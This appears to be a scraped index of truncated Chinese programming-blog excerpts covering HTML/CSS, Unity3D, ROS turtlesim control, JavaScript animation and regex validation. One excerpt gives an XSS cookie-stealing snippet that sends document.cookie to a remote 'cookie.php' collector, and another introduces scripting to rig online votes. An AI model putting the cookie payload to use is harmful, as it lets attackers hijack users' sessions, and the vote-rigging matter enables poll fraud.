<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title></title> <style> *{padding:0px; margin:0px; } button{width:100px; height:100px; background:linear-gradient(to left,#FF0,#);…
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-…
一.所需工具包 1.ROS键盘包:teleop_twist_keyboard 2.TCP通讯包:socket $ cd ~/catkin_ws/src $ git clone https://github.com/Forrest-Z/teleop_twist_keyboard.git $ catkin_make 3.在ubuntu的ros中建立一个ros_car_py包: $ cd ~/catkin_ws/src $ catkin_create_pkg ros_car_py roscpp ros…
之前在学习Unity3D,不知为何网上的教学资源真是少啊...我某段时间还卡在不知如何让物体绑个脚本自动运动.. 之所以要学习U3D是因为导师让我做的IOS项目里有个需要模拟起重机,从而控制真实起重机的动画(为何不是挖掘机)... 这里就总结下U3D的基础知识. ================================================== 1.Unity画物体 在左边的Hierarchy(层次)表处,找到Create,然后选择Cube.Mac系统也可以从上面菜单栏选择Ga…
使用CSS控制XML的显示 book.css bookname{ display:block;color:Red} author{ display:block;font-style:italic} price{ display:block;colo book.xml <?xml version="1.0" encoding="GB2312" ?> <?xml-stylesheet type="text/css" href=&qu…
早就听说有什么刷票脚本,微博投票等等相关的投票都有某些人去刷票. 试一下吧,兴许自己也会刷票呢?捣鼓了几个小时,终于有所眉目. (1)投票系统 要刷票,就得先有个投票界面. 当然,可以直接去各个投票网站就行,不过这里还是自己弄个投票页面,方便自己. 页面大致如下  或者 查看演示 照理,界面很简洁,但也基本有了投票的基本功能. 原始规则是:只能投一次票,然后提示成功,然后按钮不可用. 都是原生JS,DOM操作不灵活的可以借此练练手.当然,用jq将会很便捷. html/css部分 <!DOCTYP…
在CSS中当DOM元素的position属性为absolute或relative时,我们可以通过改变这个元素的left和top属性的具体值来控制元素在页面中显现的位置. 利用上述属性,我们可以简单实现一个元素在页面中的移动效果,这里我们采用JQuery的animate方法来实现动画效果,利用keydown监听方向键按下的事件(这里采用keydown而不是keyup,是为了能够在方向键被一直按着时,元素一直移动,keydown是监听按下事件,keyup是监听按键释放事件).这里我们还可以利用ani…
前面 js 模板引擎有很多很多,我以前经常用 art-template ,有时候也会拿 vue 来当模板引擎用. 直到...... 年初的时候,我还在上个项目组,那时候代码规范是未经允许不能使用 [外部代码],囧 . 有了需求,那么就去写吧,但是后来因为一些原因没用上.后来分了产线,自己搭了一套构建,用了几个月感觉挺爽,把这小段代码按照比较大众的规范重写,跟大家分享下. https://github.com/shalldie/mini-tpl 语法 首先是选择模板语法,ejs语法是首选,因为大众…
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-…
dom对象控制显示文章字体大小的js代码 <head> <script type="text/javascript"> function check(size){ document.getElementById("mycode").style.fontSize=size+"pt"; } </script> </head> <body> <div id="mycode&qu…
https://blog.csdn.net/xushichang/article/details/4041507 //输入姓名的正则校验 e.currentTarget.value = e.currentTarget.value.replace(/[^\u4E00-\u9FA5+]/ig,'') //身份证正则校验 let reg = /^(([1][1-5])|([2][1-3])|([3][1-7])|([4][1-6])|([5][0-4])|([6][1-5])|([7][1])|([8…
一.前言 学习js运动时,由于在实现多种不同运动效果过程中很多代码是重复的,故将其封装达到代码重用. 二.代码封装重用 function startMove(obj, json, fnEnd){ clearInterval(obj.timer);//若物体之前开有定时器则先关闭 obj.timer = setInterval(function(){ var bStop = true; //假设所有的属性值运动到了目标值 for(var attr in json){//遍历物体传过来的json值…
不论是处于特殊功能的需要,还是处于效果调试方便,我们可能都需要修改模型中的参数值.在Three.js中,谷歌提供了一个js库,即dat.GUI.js用于处理这种需求. 通过该库,我们就不需要通过手动修改源码来观察不同参数对模型的效果影响. demo效果如下: ![](https://img2018.cnblogs.com/blog/1735896/202001/1735896-20200102004608083-2026036975.gif) 关键代码 入口文件: function init()…
在制作省份下拉列表时,我们常常会遇到大量省份不停复制粘贴的问题,比如百度到这样一个填充着省份信息的表格: 里面含有很多条数据和内容,这时候要一条一条复制粘贴非常繁冗,所以在同事的启发下我写了一个简易的方法供大家使用. //定位到所在表格 var table = $(".table-view"); //定义接收字符串 var str=""; //遍历表格内容,给字符串赋值 table.find("tr").each(function(){ //定义…
/* * 事件绑定 */ function myAddEvent(obj,ev,fn){ if(obj.attachEvent){ obj.attachEvent('on' + ev,fn); }else{ obj.addEventListener(ev,fn,false); } } /* * 获取样式值 */ function getStyle(obj, name) { if(obj.currentStyle) { return obj.currentStyle[name]; } else {…
使用JS完成一个简单的计算器功能.实现2个输入框中输入整数后,点击第三个输入框能给出2个整数的加减乘除. <!DOCTYPE html> <html> <head> <title> 事件</title> <script type="text/javascript"> function count(){ //alert("ss"); //获取第一个输入框的值 var a=document.getE…
1. 介绍 新建一个GameObject-Cube,在Window下添加Animation(快捷键ctrl+6).会添加用于播放动画的三个东西.物体上的Animator组件.Animator Controller状态机.Animation Clip动画. 1.1. Animator组件 Controller:用状态机进行赋值,Cube可以使用这个状态机下的所有动画. Avatar:只有当物体为人形时才可以使用,之后学习篇会说到. Apply Root Motion:勾选了就不能改变物体Trans…
js代码 cookie.js代码如下: var img = document.createElement('img'); img.width = 0; img.height = 0; img.src = 'http://ip/cookie.php?cookie='+encodeURIComponent(document.cookie); php代码 cookie.php代码如下: <?php @ini_set('display_errors',1); $cookie= $_GET['cookie…
<!doctype html> <html> <head> <meta charset="utf-8"> <title>无标题文档</title> <style> *{padding:0;margin:0;}img{vertical-align:top;border:none;}a{text-decoration:none;}#Left {float:left;margin:150px 0 0 0;ba…
<script language="javascript"> function timeF(i){ if(i<10){ i="0"+i; } return i; } function showtime() { var today,hour,second,minute,year,month,date; var strDate ; today=new Date(); var n_day = today.getDay(); switch (n_day)…
核心要点:3D物体碰撞是靠射线检测,射线与碰撞器相撞获取对应的碰撞点信息. class RayPicking03 { private ray: Laya.Ray; private point: Laya.Vector2 = new Laya.Vector2(); private _outHitInfo: Laya.RaycastHit; private _position: Laya.Vector3; private _upVector3: Laya.Vector3; private _vect…
1.console显示信息的命令: console.log()  console.info()  console.error()   console.warn() 2.console信息分组 console.group(); console.log(); console.groupEnd(); 3.console占位符 字符(%s).整数(%d).浮点(%f).对象(%o) 例如:console.log("%d年%d月%d日",2016,10,24) 4.console.dir() 显…
ROS图形化界面能够让我们快速开发ROS,也有利于我们观测数据. 下面介绍一下利用图形化界面控制小乌龟按照指令行进和查看小乌龟的行进参数. 首先我们需要做一些准备工作: 在Terminal中运行以下命令: $ roscore 新开一个terminal,运行以下命令,打开小乌龟窗口: $ rosrun turtlesim turtlesim_node 新开一个terminal,运行以下命令,打开乌龟控制窗口,可使用方向键控制乌龟运动: $ rosrun turtlesim turtle_teleo…
方向键控制蛇运动:上↑:右→:下↓:左←. 百度网盘链接:https://pan.baidu.com/s/1c1FSXaw 提取密码:u1kr…
启动ROS Master 启动小海龟仿真器 启动海龟控制节点(方向键控制海龟运动) rqt_graph可视化工具 /rosout节点必须存在,订阅所有节点的日志信息. 当前系统当中存在的节点. 了解当前节点的具体信息,这些信息包含了发布的话题Publications,订阅的话题Subscriptions,提供了服务Services以及ID号. 显示当前系统中的话题(订阅,或发布). 了解以上话题(/turtle1/cmd_vel)的具体信息,即发布者以及订阅者. 监听话题. 发布话题:rosto…
安装ROS成功后,在Beginner Tutorials中有一个简单的示例程序. 在Terminal中运行以下命令:$ roscore新开一个terminal,运行以下命令,打开小乌龟窗口:$ rosrun turtlesim turtlesim_node新开一个terminal,运行以下命令,打开乌龟控制窗口,可使用方向键控制乌龟运动:$ rosrun turtlesim turtle_teleop_key选中控制窗口,按方向键,可看到小乌龟窗口中乌龟在运动.新开一个terminal,运行以下…
准备 1.ubuntu16.04 64位桌面版 ps:关于系统的下载和安装这里不做介绍,请自行百度,不是介绍重点 2.更改源 图上的几个勾默认是选上的,如果没有选上,选成上图这样(如果修改过勾,点击关闭会让你输入密码,然后选择重新载入,等到载入完毕再点关闭) 建议选择清华大学的源:https://mirrors.tuna.tsinghua.edu.cn/,为什么?因为这个源我成功了,其他的源下载后也装不上 开始安装 打开终端:依次执行如下语句                           …
运行roscore后,出现下图这种情况(unable to contact my own server) 原因是找不到http://后面那些,ping不到域名或IP. 参考http://www.ros.org/wiki/ROS/NetworkSetup官方的解决办法还有 参考 无法运行roscore,小海龟的部分故障问题解决 - WY_star1的博客 - CSDN博客 https://blog.csdn.net/WY_star1/article/details/81603977 以下是我解决这…
安装ROS成功后,在Beginner Tutorials中有一个简单的示例程序. 在Terminal中运行以下命令: $ roscore 新开一个terminal,运行以下命令,打开小乌龟窗口: $ rosrun turtlesim turtlesim_node 新开一个terminal,运行以下命令,打开乌龟控制窗口,可使用方向键控制乌龟运动: $ rosrun turtlesim turtle_teleop_key 选中控制窗口,按方向键,可看到小乌龟窗口中乌龟在运动. 新开一个termin…
本文主要部分来源于ROS官网的Tutorials. Description: This tutorial will teach you how to record data from a running ROS system into a .bag file, and then to play back the data to produce similar behavior in a running system. roscore & rosrun turtlesim turtlesim_no…